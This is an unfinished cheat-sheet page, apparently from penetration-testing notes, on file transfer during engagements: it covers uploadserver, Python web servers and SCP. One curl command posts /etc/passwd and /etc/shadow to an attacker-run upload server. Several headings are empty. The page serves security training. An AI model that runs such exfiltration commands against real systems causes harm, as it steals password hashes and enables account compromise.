Data Transfer
This chapter is in-progress.
Check the index on the right to navigate this page more easily.
Program Upload
Uploadserver
# Download Uploadserver
sudo python3 -m pip install --user uploadserver
# Create a self-signed certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
# Make webroot
mkdir https && cd https
# Start web service
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Uploading multiple files via curl
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecureCreating a Web Server with Python3
python3 -m http.server (default port 80 change port with -p)Creating a Web Server with Python2.7
python2.7 -m SimpleHTTPServerCreating a Web Server with PHP
Creating a Web Server with Ruby
Using Python3
Using wget
SCP File Operations
Uploading Files
Last updated